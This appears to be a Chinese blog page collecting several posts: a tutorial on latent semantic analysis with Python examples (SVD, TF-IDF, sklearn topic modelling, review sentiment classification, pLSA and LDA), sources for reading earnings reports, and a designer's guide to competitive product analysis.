我常使用的财报解读媒体主要是新浪科技和网易科技的上市公司财报解读，这两个媒体包含了主要的互联网中概股的信息，并按年份对财报信息和解读进行进行了整理和分类。这两个的地址你可以在我博客网站分析库页面中的财务及运营数据分析部分找到入口链接。（补充2个地址，网易科技：http://tech.163.com/caibao ，新浪科技： http://finance.sina.com.cn/realstock/income_statement/2018-12-31/issued_pdate_de_1.html ）

财报电话会议中公司高管对财报要点的解读，以及与分析师的提问互动内容则主要包含在财报解读部分中。在财报电话会议中会包含很多财报文档以外的信息，如2017年的京东财报电话会议中花旗集团分析师关注了京东在印度尼西亚的业务发展及市场战略目标，刘强东就分享了京东在东南亚及印尼前五年的市场战略。这些信息可能并不会包含在财报文档中。

以上是公司层面的竞争情报及数据收集，欢迎朋友们拍砖及留言分享经验。

潜在语义分析LSA初探

Wed, 07 Jul 2021 21:47:27 CST

什么是潜在语义分析LSA？

潜在语义分析（Latent Semantic Analysis），是语义学的一个新的分支。传统的语义学通常研究字、词的含义以及词与词之间的关系，如同义，近义，反义等等。潜在语义分析探讨的是隐藏在字词背后的某种关系，这种关系不是以词典上的定义为基础，而是以字词的使用环境作为最基本的参考。这种思想来自于心理语言学家。他们认为，世界上数以百计的语言都应该有一种共同的简单的机制，使得任何人只要是在某种特定的语言环境下长大都能掌握那种语言。在这种思想的指导下，人们找到了一种简单的数学模型，这种模型的输入是由任何一种语言书写的文献构成的文库，输出是该语言的字、词的一种数学表达（向量）。字、词之间的关系乃至任何文章片断之间的含义的比较就由这种向量之间的运算产生。

向量空间模型是信息检索中最常用的检索方法，其检索过程是，将文档集D中的所有文档和查询都表示成以单词为特征的向量，特征值为每个单词的TF-IDF值，然后使用向量空间模型(亦即计算查询q的向量和每个文档$d_i$的向量之间的相似度)来衡量文档和查询之间的相似度，从而得到和给定查询最相关的文档。向量空间模型简单的基于单词的出现与否以及TF-IDF等信息来进行检索，但是“说了或者写了哪些单词”和“真正想表达的意思”之间有很大的区别，其中两个重要的阻碍是单词的多义性(polysems)和同义性(synonymys)。

多义性指的是一个单词可能有多个意思，比如Apple，既可以指水果苹果，也可以指苹果公司
同义性指的是多个不同的词可能表示同样的意思，比如search和find。

同义词和多义词的存在使得单纯基于单词的检索方法(比如向量空间模型等)的检索精度受到很大影响。总而言之，在基于单词的检索方法中，同义词会降低检索算法的召回率(Recall)，而多义词的存在会降低检索系统的准确率(Precision)。

LSA和传统向量空间模型(vector space model)一样使用向量来表示词(terms)和文档(documents)，并通过向量间的关系(如夹角)来判断词及文档间的关系；不同的是，LSA 将词和文档映射到潜在语义空间，从而去除了原始向量空间中的一些“噪音”，提高了信息检索的精确度。如果两个单词之间有很强的相关性，那么当一个单词出现时，往往意味着另一个单词也应该出现(同义词)；反之，如果查询语句或者文档中的某个单词和其他单词的相关性都不大，那么这个词很可能表示的是另外一个意思(比如在讨论互联网的文章中，Apple更可能指的是Apple公司，而不是水果)。

LSA工具：

2009年：Gensim
2015年：fastText
2016年：text2Vec

潜在语义分析LSA原理

假设有 n 篇文档，这些文档中的单词总数为 m (可以先进行分词、去词根、去停止词操作),我们可以用一个 m∗n 的矩阵 X 来表示这些文档，这个矩阵的每个元素 X_{ij} 表示第 i 个单词在第 j 篇文档中出现的次数(也可用tf-idf值)。下文例子中得到的矩阵见下图。

LSA试图将原始矩阵降维到一个潜在的概念空间（维度不超过n），然后每个单词或文档都可以用该空间下的一组权值向量（也可认为是坐标）来表示，这些权值反应了与对应的潜在概念的关联程度的强弱。这个降维是通过对该矩阵进行奇异值分解(SVD, singular value decomposition)做到的，计算其用三个矩阵的乘积表示的等价形式，如下：

LSA的数学原理是矩阵分解（奇异值分解SVD），本质是线性变换（把文本从单词向量空间映射到语义向量空间，词->语义）

潜在语义分析LSA优缺点

LSA的优点：

低维空间表示可以刻画同义词，同义词会对应着相同或相似的主题。
降维可去除部分噪声，是特征更鲁棒。
充分利用冗余数据。
无监督/完全自动化。
与语言无关。

LSA的缺点：

LSA可以处理向量空间模型无法解决的一义多词(synonymy)问题，但不能解决一词多义(polysemy)问题。因为LSA将每一个词映射为潜在语义空间中的一个点，也就是说一个词的多个意思在空间中对于的是同一个点，并没有被区分。
SVD的优化目标基于L-2 norm 或者 Frobenius Norm 的，这相当于隐含了对数据的高斯分布假设。而 term 出现的次数是非负的，这明显不符合 Gaussian 假设，而更接近 Multi-nomial 分布。
特征向量的方向没有对应的物理解释。
SVD的计算复杂度很高，而且当有新的文档来到时，若要更新模型需重新训练。
没有刻画term出现次数的概率模型。
对于count vectors 而言，欧式距离表达是不合适的（重建时会产生负数）。
维数的选择是ad-hoc的。
LSA具有词袋模型的缺点，即在一篇文章，或者一个句子中忽略词语的先后顺序。
LSA的概率模型假设文档和词的分布是服从联合正态分布的，但从观测数据来看是服从泊松分布的。因此LSA算法的一个改进PLSA使用了多项分布，其效果要好于LSA。

潜在语义分析LSA代码示例

# -*- coding: utf-8 -*-
from numpy import zeros
from scipy.linalg import svd
from math import log
import numpy as np
import seaborn as sns
import matplotlib.pyplot as plt
import pandas as pd


class LSA(object):
    """
    定义LSA类，w_dict字典用来记录词的个数，d_count用来记录文档号。
    """
    def __init__(self, stop_words, ignore_chars):
        self.stop_words = stop_words
        self.ignore_chars = ignore_chars
        self.w_dict = {}
        self.d_count = 0

    def parse(self, doc):
        """
        把文档分词，并滤除停用词和标点，剩下的词会把其出现的文档号填入到w_dict中去，
        例如，词book出现在标题3和4中，则我们有self.w_dict[‘book’] = [3, 4]。相当于建了一下倒排。
        """
        words = doc.split()
        for w in words:
            w = w.lower().translate(self.ignore_chars)
            if w in self.stop_words:
                pass
            elif w in self.w_dict:
                self.w_dict[w].append(self.d_count)
            else:
                self.w_dict[w] = [self.d_count]
        self.d_count += 1

    def build(self):
        """
        建立索引词文档矩阵
        所有的文档被解析之后，所有出现的词（也就是词典的keys）被取出并且排序。建立一个矩阵，其行数是词的个数，列数是文档个数。
        最后，所有的词和文档对所对应的矩阵单元的值被统计出来。
        """
        self.keys = [k for k in self.w_dict.keys() if len(self.w_dict[k]) > 1]
        self.keys.sort()
        self.A = zeros([len(self.keys), self.d_count])
        for i, k in enumerate(self.keys):
            for d in self.w_dict[k]:
                self.A[i, d] += 1

    def print_A(self):
        """
        打印出索引词文档矩阵。
        """
        print(self.A)

    def TF_IDF(self):
        """
        用TF-IDF替代简单计数
        在复杂的LSA系统中，为了重要的词占据更重的权重，原始矩阵中的计数往往会被修改。
        最常用的权重计算方法就是TF-IDF（词频-逆文档频率）。基于这种方法，我们把每个单元的数值进行修改。
        wordsPerDoc 就是矩阵每列的和,也就是每篇文档的词语总数。DocsPerWord 利用asarray方法创建一个0、1数组（也就是大于0的数值会被归一到1），然后每一行会被加起来，从而计算出每个词出现在了多少文档中。最后，我们对每一个矩阵单元计算TFIDF公式
        """
        words_per_doc = np.sum(self.A, axis=0)
        docs_per_word = np.sum(np.asarray(self.A > 0, 'i'), axis=1)
        rows, cols = self.A.shape
        for i in range(rows):
            for j in range(cols):
                self.A[i, j] = (self.A[i, j] / words_per_doc[j]) * log(float(cols) / docs_per_word[i])

    def calc_SVD(self):
        """
        建立完词文档矩阵以后，用奇异值分解（SVD）分析这个矩阵。
        SVD非常有用的原因是，它能够找到我们矩阵的一个降维表示，他强化了其中较强的关系并且扔掉了噪音（这个算法也常被用来做图像压缩）。
        换句话说，它可以用尽可能少的信息尽量完善的去重建整个矩阵。为了做到这点，它会扔掉无用的噪音，强化本身较强的模式和趋势。
        利用SVD的技巧就是去找到用多少维度（概念）去估计这个矩阵。太少的维度会导致重要的模式被扔掉，反之维度太多会引入一些噪音。
        代码中降到了3维
        """
        self.U, self.S, self.Vt = svd(self.A)
        target_dimension = 3
        self.U2 = self.U[0:, 0:target_dimension]
        self.S2 = np.diag(self.S[0:target_dimension])
        self.Vt2 = self.Vt[0:target_dimension, 0:]
        print("U:\n", self.U2)
        print("S:\n", self.S2)
        print("Vt:\n", self.Vt2)

    def plot_singular_values_bar(self):
        """
        为了去选择一个合适的维度数量，我们可以做一个奇异值平方的直方图。它描绘了每个奇异值对于估算矩阵的重要度。
        下图是我们这个例子的直方图。（每个奇异值的平方代表了重要程度，下图应该是归一化后的结果）
        """
        y_value = (self.S * self.S) / sum(self.S * self.S)
        x_value = range(len(y_value))
        plt.bar(x_value, y_value, alpha=1, color='g', align="center")
        plt.autoscale()
        plt.xlabel("Singular Values")
        plt.ylabel("Importance")
        plt.title("The importance of Each Singular Value")
        plt.show()

    def plot_singular_heatmap(self):
        """
        用颜色聚类
        我们可以把数字转换为颜色。例如，下图表示了文档矩阵3个维度的颜色分布。除了蓝色表示负值，红色表示正值，它包含了和矩阵同样的信息。
        """
        labels = ["T1", "T2", "T3", "T4", "T5", "T6", "T7", "T8", "T9"]
        rows = ["Dim1", "Dim2", "Dim3"]
        self.Vt_df_norm = pd.DataFrame(self.Vt2 * (-1))
        self.Vt_df_norm.columns = labels
        self.Vt_df_norm.index = rows
        sns.set(font_scale=1.2)
        ax = sns.heatmap(self.Vt_df_norm, cmap=plt.cm.bwr, linewidths=.1, square=2)
        ax.xaxis.tick_top()
        plt.xlabel("Book Title")
        plt.ylabel("Dimensions")
        plt.show()


if __name__ == '__main__':
    # 待处理的文档
    titles = [
        "The Neatest Little Guide to Stock Market Investing",
        "Investing For Dummies, 4th Edition",
        "The Little Book of Common Sense Investing: The Only Way to Guarantee Your Fair Share of Stock Market Returns",
        "The Little Book of Value Investing",
        "Value Investing: From Graham to Buffett and Beyond",
        "Rich Dad's Guide to Investing: What the Rich Invest in, That the Poor and the Middle Class Do Not!",
        "Investing in Real Estate, 5th Edition",
        "Stock Investing For Dummies",
        "Rich Dad's Advisors: The ABC's of Real Estate Investing: The Secrets of Finding Hidden Profits Most Investors Miss"
    ]
    # 定义停止词
    stopwords = ['and', 'edition', 'for', 'in', 'little', 'of', 'the', 'to']
    # 定义要去除的标点符号
    ignore_chars = ''',:'!'''

    mylsa = LSA(stopwords, ignore_chars)
    for t in titles:
        mylsa.parse(t)
    mylsa.build()
    mylsa.print_A()
    mylsa.TF_IDF()
    mylsa.print_A()
    mylsa.calc_SVD()
    mylsa.plot_singular_values_bar()
    mylsa.plot_singular_heatmap()

在 sklearn 中，LSA可以更加方便的实现：

import pandas as pd
import matplotlib.pyplot as plt
from nltk.corpus import stopwords
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.datasets import fetch_20newsgroups
from sklearn.decomposition import TruncatedSVD
import umap

dataset = fetch_20newsgroups(shuffle=True, random_state=1, remove=('headers', 'footers', 'quotes'))
documents = dataset.data
print(len(documents))
print(dataset.target_names)

news_df = pd.DataFrame({'document': documents})

# remove everything except alphabets`
news_df['clean_doc'] = news_df['document'].replace("[^a-zA-Z]", " ")

# remove short words
news_df['clean_doc'] = news_df['clean_doc'].apply(lambda x: ' '.join([w for w in x.split() if len(w) > 3]))

# make all text lowercase-
news_df['clean_doc'] = news_df['clean_doc'].apply(lambda x: x.lower())

# tokenization
tokenized_doc = news_df['clean_doc'].apply(lambda x: x.split())

# remove stop-words
stop_words = stopwords.words('english')
tokenized_doc = tokenized_doc.apply(lambda x: [item for item in x if item not in stop_words])

# de-tokenization
detokenized_doc = []
for i in range(len(news_df)):
    t = ' '.join(tokenized_doc[i])
    detokenized_doc.append(t)

news_df['clean_doc'] = detokenized_doc

vectorizer = TfidfVectorizer(stop_words='english', max_features=1000, max_df=0.5, smooth_idf=True)
X = vectorizer.fit_transform(news_df['clean_doc'])
print(X.shape)

# SVD represent documents and terms in vectors
svd_model = TruncatedSVD(n_components=20, algorithm='randomized', n_iter=100, random_state=122)
svd_model.fit(X)
print(len(svd_model.components_))

terms = vectorizer.get_feature_names()
for i, comp in enumerate(svd_model.components_):
    terms_comp = zip(terms, comp)
    sorted_terms = sorted(terms_comp, key=lambda x: x[1],reverse=True)[:7]
    sorted_terms_words = [t[0] for t in sorted_terms]
    print("Topic " + str(i) + ": " + str(sorted_terms_words))

X_topics = svd_model.fit_transform(X)
embedding = umap.UMAP(n_neighbors=150, min_dist=0.5, random_state=12).fit_transform(X_topics)
plt.figure(figsize=(7, 5))
plt.scatter(embedding[:, 0], embedding[:, 1], c=dataset.target, s=10, edgecolor='none')
plt.show()

潜在语义分析实战：基于LSA的情感分类

数据集： Amazon.com 50万点评数据

字段说明：

Id：自增长ID，无含义
ProductId：产品ID
UserId：会员ID
ProfileName：会员昵称
HelpfulnessNumerator：评价点评有用数量
HelpfulnessDenominator：评价点评总数
Score：点评分
Time：点评时间
Summary：综合评价
Text：点评详情

这里只会用到2个字段：Score和Text。Score：总共5分，我们将1分、2分的看作是负面评论。4分、5分的看作是正面评论。将3分的中性评论直接删除。

加载Python包：

import numpy as np
import pandas as pd
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.model_selection import train_test_split
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.ensemble import RandomForestClassifier
from sklearn.pipeline import Pipeline
from sklearn.metrics import accuracy_score
from sklearn.metrics import classification_report
from sklearn.feature_selection import chi2
import matplotlib.pyplot as plt

准备数据：

df = pd.read_csv('Reviews.csv')
df.dropna(inplace=True)
df[df['Score'] != 3]
df['Positivity'] = np.where(df['Score'] > 3, 1, 0)
X = df['Text']
y = df['Positivity']
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.25, random_state=0)
print("Train set has total {0} entries with {1:.2f}% negative, {2:.2f}% positive".format(
    len(X_train),
    (len(X_train[y_train == 0]) / (len(X_train) * 1.)) * 100,
    (len(X_train[y_train == 1]) / (len(X_train) * 1.)) * 100)
)

我们可以看到正面点评和负面点评并不均衡。Train set has total 426308 entries with 21.91% negative, 78.09% positive。情感分类我们使用决策树算法（随机森林）并设置class_weight=balanced

定义一个计算准确率的函数：

def accuracy_summary(pipeline, X_train, y_train, X_test, y_test):
    sentiment_fit = pipeline.fit(X_train, y_train)
    y_pred = sentiment_fit.predict(X_test)
    accuracy = accuracy_score(y_test, y_pred)
    print("accuracy score: {0:.2f}%".format(accuracy * 100))
    return accuracy

在进行LSA的时，如果如果不做限制，我们会使用Text中所有出现过的单词作为特征，这样的计算量和效果并不佳。取而代之的是我们的获取TOP的单词作为特征。我们分别使用10000,20000,30000做测试：

cv = CountVectorizer()
rf = RandomForestClassifier(class_weight="balanced")
n_features = np.arange(10000, 30001, 10000)


def nfeature_accuracy_checker(vectorizer=cv, n_features=n_features, stop_words=None, ngram_range=(1, 1), classifier=rf):
    result = []
    print(classifier)
    for n in n_features:
        vectorizer.set_params(stop_words=stop_words, max_features=n, ngram_range=ngram_range)
        checker_pipeline = Pipeline([
            ('vectorizer', vectorizer),
            ('classifier', classifier)
        ])
        print("Test result for {} features".format(n))
        nfeature_accuracy = accuracy_summary(checker_pipeline, X_train, y_train, X_test, y_test)
        result.append((n, nfeature_accuracy))
    return result


tfidf = TfidfVectorizer()
feature_result_tgt = nfeature_accuracy_checker(vectorizer=tfidf, ngram_range=(1, 3))

我们可以看到30000特征的时候准确率是最高的。我们可以查看更为详细的指标：

cv = CountVectorizer(max_features=30000, ngram_range=(1, 3))
pipeline = Pipeline([
    ('vectorizer', cv),
    ('classifier', rf)
])
sentiment_fit = pipeline.fit(X_train, y_train)
y_pred = sentiment_fit.predict(X_test)
print(classification_report(y_test, y_pred, target_names=['negative', 'positive']))

使用卡方检验选择特征。我们计算所有特征的卡方得分，并将TOP 20进行可视化。

tfidf = TfidfVectorizer(max_features=30000, ngram_range=(1, 3))
X_tfidf = tfidf.fit_transform(df.Text)
y = df.Positivity
chi2score = chi2(X_tfidf, y)[0]

plt.figure(figsize=(12, 8))
scores = list(zip(tfidf.get_feature_names(), chi2score))
chi2 = sorted(scores, key=lambda x: x[1])
topchi2 = list(zip(*chi2[-20:]))
x = range(len(topchi2[1]))
labels = topchi2[0]
plt.barh(x, topchi2[1], align='center', alpha=0.5)
plt.plot(topchi2[1], x, '-o', markersize=5, alpha=0.8)
plt.yticks(x, labels)
plt.xlabel('$\chi^2$')
plt.show()

潜在语义分析LSA的进化

LSA

LSA 方法快速且高效，但它也有一些主要缺点：

缺乏可解释的嵌入（我们并不知道主题是什么，其成分可能积极或消极，这一点是随机的）
需要大量的文件和词汇来获得准确的结果
表征效率低

pLSA

pLSA，即概率潜在语义分析，采取概率方法替代 SVD 以解决问题。其核心思想是找到一个潜在主题的概率模型，该模型可以生成我们在文档-术语矩阵中观察到的数据。特别是，我们需要一个模型 P(D,W)，使得对于任何文档 d 和单词 w，P(d,w) 能对应于文档-术语矩阵中的那个条目。

主题模型的基本假设：每个文档由多个主题组成，每个主题由多个单词组成。pLSA 为这些假设增加了概率自旋：

给定文档 d，主题 z 以 P(z|d) 的概率出现在该文档中
给定主题 z，单词 w 以 P(w|z) 的概率从主题 z 中提取出来

从形式上看，一个给定的文档和单词同时出现的联合概率是：

$$P(D,W)=P(D)\sum_{Z}P(Z|D)P(W|Z)$$

直观来说，等式右边告诉我们理解某个文档的可能性有多大；然后，根据该文档主题的分布情况，在该文档中找到某个单词的可能性有多大。在这种情况下，P(D)、P(Z|D)、和 P(W|Z) 是我们模型的参数。P(D) 可以直接由我们的语料库确定。P(Z|D) 和 P(W|Z) 利用了多项式分布建模，并且可以使用期望最大化算法（EM）进行训练。EM 无需进行算法的完整数学处理，而是一种基于未观测潜变量（此处指主题）的模型找到最可能的参数估值的方法。有趣的是，P(D,W) 可以利用不同的的 3 个参数等效地参数化：

$$P(D,W)=\sum_{Z}P(Z)P(Z|D)P(W|Z)$$

可以通过将模型看作一个生成过程来理解这种等价性。在第一个参数化过程中，我们从概率为 P(d) 的文档开始，然后用 P(z|d) 生成主题，最后用 P(w|z) 生成单词。而在上述这个参数化过程中，我们从 P(z) 开始，再用 P(d|z) 和 P(w|z) 单独生成文档。

这个新参数化方法非常有趣，因为我们可以发现 pLSA 模型和 LSA 模型之间存在一个直接的平行对应关系：

其中，主题 P(Z) 的概率对应于奇异主题概率的对角矩阵，给定主题 P(D|Z) 的文档概率对应于文档-主题矩阵 U，给定主题 P(W|Z) 的单词概率对应于术语-主题矩阵 V。

尽管 pLSA 看起来与 LSA 差异很大、且处理问题的方法完全不同，但实际上 pLSA 只是在 LSA 的基础上添加了对主题和词汇的概率处理。pLSA 是一个更加灵活的模型，但仍然存在一些问题，尤其表现为：

因为没有参数来给 P(D) 建模，所以不知道如何为新文档分配概率
pLSA 的参数数量随着我们拥有的文档数线性增长，因此容易出现过度拟合问题

我们将不会考虑任何 pLSA 的代码，因为很少会单独使用 pLSA。一般来说，当人们在寻找超出 LSA 基准性能的主题模型时，他们会转而使用 LDA 模型。LDA 是最常见的主题模型，它在 pLSA 的基础上进行了扩展，从而解决这些问题。

LDA

LDA 即潜在狄利克雷分布，是 pLSA 的贝叶斯版本。它使用狄利克雷先验来处理文档-主题和单词-主题分布，从而有助于更好地泛化。我们可以对狄利克雷分布其做一个简短的概述：即，将狄利克雷视为「分布的分布」。本质上，它回答了这样一个问题：「给定某种分布，我看到的实际概率分布可能是什么样子？」考虑比较主题混合概率分布的相关例子。假设我们正在查看的语料库有着来自 3 个完全不同主题领域的文档。如果我们想对其进行建模，我们想要的分布类型将有着这样的特征：它在其中一个主题上有着极高的权重，而在其他的主题上权重不大。如果我们有 3 个主题，那么我们看到的一些具体概率分布可能会是：

混合 X：90% 主题 A，5% 主题 B，5% 主题 C
混合 Y：5% 主题 A，90% 主题 B，5% 主题 C
混合 Z：5% 主题 A，5% 主题 B，90% 主题 C

如果从这个狄利克雷分布中绘制一个随机概率分布，并对单个主题上的较大权重进行参数化，我们可能会得到一个与混合 X、Y 或 Z 非常相似的分布。我们不太可能会抽样得到这样一个分布：33%的主题 A，33%的主题 B 和 33%的主题 C。本质上，这就是狄利克雷分布所提供的：一种特定类型的抽样概率分布法。我回顾一下 pLSA 的模型：

在 pLSA 中，我们对文档进行抽样，然后根据该文档抽样主题，再根据该主题抽样一个单词。以下是 LDA 的模型：

根据狄利克雷分布 Dir(α)，我们绘制一个随机样本来表示特定文档的主题分布或主题混合。这个主题分布记为θ。我们可以基于分布从θ选择一个特定的主题 Z。

接下来，从另一个狄利克雷分布 Dir()，我们选择一个随机样本来表示主题 Z 的单词分布。这个单词分布记为φ。从φ中，我们选择单词 w。

从形式上看，从文档生成每个单词的过程如下（注意，该算法使用 c 而不是 z 来表示主题）：

通常而言，LDA 比 pLSA 效果更好，因为它可以轻而易举地泛化到新文档中去。在 pLSA 中，文档概率是数据集中的一个固定点。如果没有看到那个文件，我们就没有那个数据点。然而，在 LDA 中，数据集作为训练数据用于文档-主题分布的狄利克雷分布。即使没有看到某个文件，我们可以很容易地从狄利克雷分布中抽样得来，并继续接下来的操作。

LDA 无疑是最受欢迎（且通常来说是最有效的）主题建模技术。它在 gensim 当中可以方便地使用：

from gensim.corpora.Dictionary import load_from_text, doc2bow
from gensim.corpora import MmCorpus
from gensim.models.ldamodel import LdaModel

document = "This is some document..."

# load id->word mapping (the dictionary)
id2word = load_from_text('wiki_en_wordids.txt')

# load corpus iterator
mm = MmCorpus('wiki_en_tfidf.mm')

# extract 100 LDA topics, updating once every 10,000
lda = LdaModel(corpus=mm, id2word=id2word, num_topics=100, update_every=1, chunksize=10000, passes=1)

# use LDA model: transform new doc to bag-of-words, then apply lda
doc_bow = doc2bow(document.split())
doc_lda = lda[doc_bow]

# doc_lda is vector of length num_topics representing weighted presence of each topic in the doc

通过使用 LDA，我们可以从文档语料库中提取人类可解释的主题，其中每个主题都以与之关联度最高的词语作为特征。例如，主题 2 可以用诸如「石油、天然气、钻井、管道、楔石、能量」等术语来表示。此外，在给定一个新文档的条件下，我们可以获得表示其主题混合的向量，例如，5%的主题 1，70% 的主题 2，10%的主题 3 等。通常来说，这些向量对下游应用非常有用。

深度学习中的 LDA：lda2vec

那么，这些主题模型会将哪些因素纳入更复杂的自然语言处理问题中呢？我们谈到能够从每个级别的文本（单词、段落、文档）中提取其含义是多么重要。在文档层面，我们现在知道如何将文本表示为主题的混合。在单词级别上，我们通常使用诸如 word2vec 之类的东西来获取其向量表征。 lda2vec 是 word2vec 和 LDA 的扩展，它共同学习单词、文档和主题向量。

lda2vec 专门在 word2vec 的 skip-gram 模型基础上建模，以生成单词向量。skip-gram 和 word2vec 本质上就是一个神经网络，通过利用输入单词预测周围上下文词语的方法来学习词嵌入。

通过使用 lda2vec，我们不直接用单词向量来预测上下文单词，而是使用上下文向量来进行预测。该上下文向量被创建为两个其它向量的总和：单词向量和文档向量。

单词向量由前面讨论过的 skip-gram word2vec 模型生成。而文档向量更有趣，它实际上是下列两个组件的加权组合：

文档权重向量，表示文档中每个主题的「权重」（稍后将转换为百分比）
主题矩阵，表示每个主题及其相应向量嵌入

文档向量和单词向量协同起来，为文档中的每个单词生成「上下文」向量。lda2vec 的强大之处在于，它不仅能学习单词的词嵌入（和上下文向量嵌入），还同时学习主题表征和文档表征。

参考链接：

设计师应该如何正确的做竞品分析？

Mon, 08 Mar 2021 10:43:22 CST

导语：在我们的设计工作中，竞品分析是很重要的。通过竞品分析可以帮助我们了解与验证我们的设计，为我们带来设计灵感与设计思考，辅助我们产出更好的设计策略与设计方案。但是，竞品分析如果做的不正确，浪费时间的同时对于设计也不会有什么帮助。那么，设计师应该如何正确的做竞品分析呢？

在平时的工作中，有拿不准的设计形式时我会请教我的导师，她经常会告诉我行业内的top级产品是怎么做的？也常让我也去多看一下、多分析别人是怎么做的？这样自己拿不准的地方也就知道如何修改了。

其实这就是一个做竞品分析的过程，对于初阶的设计师来说，做竞品分析特别重要，所以自己也很注重这方面的学习与练习。竞品分析得越多，我们的脑海里沉淀的设计方式也就越多，我们就能更容易的回答为什么要这样设计？哪一种设计形式会更好？

学习与总结了关于设计师做竞品分析的一些方法，分享给大家，希望对大家有所帮助，也欢迎大家多多指教呀～

文章大纲：

明确目标，选择竞品
了解竞品商业背景
基于目的，分析竞品
视觉分析
产出竞品分析报告

一、明确目标，选择竞品

1. 明确目标

在竞品分析之前，我们要根据我们要解决的问题，明确我们此次竞品分析的目的是什么？我们想要在竞品分析过程中获得怎样的收获？

根据我们的目标，进行竞品选择。若没有明确目标我们很容易在分析过程中走偏，分析很多不相干的内容，容易迷失方向，获取不到实质性的帮助。

比如我们的目的是想了解feed流设计形式，那么我们在后续竞品分析过程中就应该重点关注feed流的布局形式有哪些，feed流中卡片中图文关系是怎样的？图片有几种比例等？

我们的竞品可以选择社交类产品，比如Facebook、微博、ins这种feed流应用得特别多的top级产品。比如是想进行视觉风格改版设计，那么在竞品分析时我们应该多关注竞品的视觉风格，图标应用了哪种风格类型？体现了哪种设计趋势等等。

2. 选择竞品

竞品一般分为直接竞品与间接竞品。

直接竞品：同类型直接竞争关系的产品，比如淘宝与京东；
间接竞品：使用场景和用户群体比较接近的产品，比如淘宝与得物这类垂直领域的产品。

我们在做竞品分析时，直接竞品建议选择业内TOP级产品进行分析，间接产品建议选择垂直领域的独角兽产品进行分析。

因为TOP级的产品已经非常成熟，他们已经养成了用户的使用习惯，塑造了用户的心智，分析TOP级的产品，我们就相当于站在巨人的肩膀上，更易获取有用的信息。

用到的工具：

1）百度指数

通过百度指数，我们可以找到国内不同行业产品的排行榜与产品热度，进而选择我们的竞品。

http://zhishu.baidu.com/v2/index.html#/

2）易观千帆指数

可以查到不同行业产品月度排行榜和产品基本信息。

https://qianfan.analysys.cn/refine/view/rankApp/rankApp.html

3）七麦数据

国内专业的移动应用数据分析平台，覆盖AppStore&GooglePlay双平台，提供iOS&Android应用市场多维度数据分析，推荐使用。

https://www.qimai.cn/

二、了解竞品商业背景

选择竞品后，我们需要简单的了解竞品的商业背景，了解产品的定位、用户群体、日活、月活、经营背景、服务理念等等，对竞品有更深入的了解。

我们可以通过去产品官网了解这些信息，也可以通过百度百科、维基百科去查询竞品的商业背景。推荐使用维基百科。

了解竞品的商业背景后，我们需要简单的做一个表格或者文档，记录我们所获取到信息，便于后续自己以及其他同事查看与了解竞品的商业背景。

三、基于目的，分析竞品

做竞品分析其实是基于用户体验的5要素（战略层、范围层、结构层、框架层、视觉层）去分析的，作为设计师我们重点关注框架层与视觉层。我们要时刻围绕我们的目的进行竞品分析，并且要记录与保存好我们的分析过程。

很多设计师做竞品分析就是拿出手机去体验这个产品，体验完了就完了，什么产出物都没有这是不行的。

我们要时刻有这样一个概念，我们做的所有分析都是辅助我们最后的设计方案产出的，这些前期的分析都应该整理成文档帮助我们或者同事作为资料参考，同时也可以沉淀为组内的设计资料。

1. 拆解用户路径

在竞品分析阶段，我们首先需要了解竞品的框架层，拆解用户路径，并截图保存每个路径所涉及的页面设计，并制作页面路径截图包。

对于整个竞品框架层的分析，其实也很简单，就是将我们自己作为用户，把所有主流程跑一遍，每个路径所涉及的页面都截图保存，再在文档里进行路径梳理。

我以同程为例，进行机票查询路径流程分析，最后整理产出的页面路径截图包如下：

同样的，如果我们想知道feed流图片的排列形式是怎样的？那我们就通过分析feed流应用得广与多的产品，分析他们的图片布局框架是怎样的？这一阶段就是多看、多存、多分析。

2. 保留页面截图

当然我们是结合我们需要解决的问题与目标进行竞品分析的，如果我们只需分析视觉形式，那我们就仅仅只截图不同产品该模块的设计形式截图即可，不需要分析所有的路径。

比如我们此次做竞品分析的目的是了解“我的”页面背景墙的设计，那我们就只需要截图不同产品背景墙的设计形式即可。

我们一定要将截图根据路径或者按照我们自己的总结分类进行整理，方便后续自己与同事的查看，将路径截图包作为资源管理，也方便后续截图的更新与二次分析。

四、视觉分析

这一步是我们需要重点分析的阶段，同样也需要产出视觉分析文档，文档越详细对我们后面的设计帮助越大。我们从“形色字构质”五个维度对竞品进行视觉分析，并产出视觉分析文档，作为我们后续的设计参考。

视觉分析文档主要包括基础规范、设计组件、设计亮点三个部分。

1. 基础规范

基础规范就是界面最基础、最通用的元素的设计规范。

1）栅格系统

分析竞品的栅格系统，分析最小原子单位为多少，了解其布局结构。

2）色彩

竞品的品牌色、辅助色、背景色与中性色等、以及这些颜色的使用场景。

3）文字

不同场景的文字大小与文字层级关系。

2. 设计组件

设计组件的梳理要结合我们项目的实际情况进行分析，除了通用组件外，还应该有特别的组件。

比如我们是做社交产品的，我们的产品中涉及很多社交动态的卡片形式，那么我们就可以把这部分做成组件形式，这些组件都能很好的帮助我们后续去搭建页面，快速出效果图。

1）通用组件

按钮：按钮的设计形式与使用场景

列表：列表的多种表现形式

弹窗：不同的弹窗样式与使用场景

缺省页：缺省页的设计形式与布局样式

2）特色组件

特色组件应该是我们基于自身产品属性建立的最常用的业务属性组件。

feed流卡片：图片、文字结合形式，以及不同图片数量时的展现方式。

在整理竞品设计组件时，我们并不一定要全部做成可编辑的组件，在时间紧的情况下，截图设计组件也是可以的，只要能帮助到我们后续做设计都是可以的。

3）设计亮点

设计亮点是我们在进行竞品分析时，觉得竞品中哪些设计点是做得很好的？是值得我们借鉴的地方，可以记录下来。后续在自身产品设计中我们可以很好的明白哪些模块是我们的设计发力点。

五、竞品分析报告产品

做了前面所有的分析后，我们需要产出竞品分析报告，作为资料参考，为自己或者同事提供设计参考，带来设计灵感，提高设计效率，这就是竞品分析最大的价值。

竞品分析最后的产出物为一下四部分：

商业背景文档
路径/模块截图包与分析说明
竞品视觉规范
设计亮点

六、总结

以上就是今天所分享的关于设计师做竞品分析的方法，总结起来为以下5点：

明确目标，选择竞品
了解竞品商业背景
基于目的，分析竞品
视觉分析（路径拆解、制作页面截图包）
产出竞品分析报告（基础规范、设计组件、设计亮点）

前期我们分析得越多越详细对我们后续的帮助越大。做竞品分析一定要产出最后的分析文档，作为自己或组内后续设计的参考资料，为大家的设计带来灵感与帮助。

本文由 @小鱼晴子原创发布于人人都是产品经理。未经许可，禁止转载

题图来自Unsplash，基于CC0协议

竞品分析：百词斩 VS 墨墨背单词

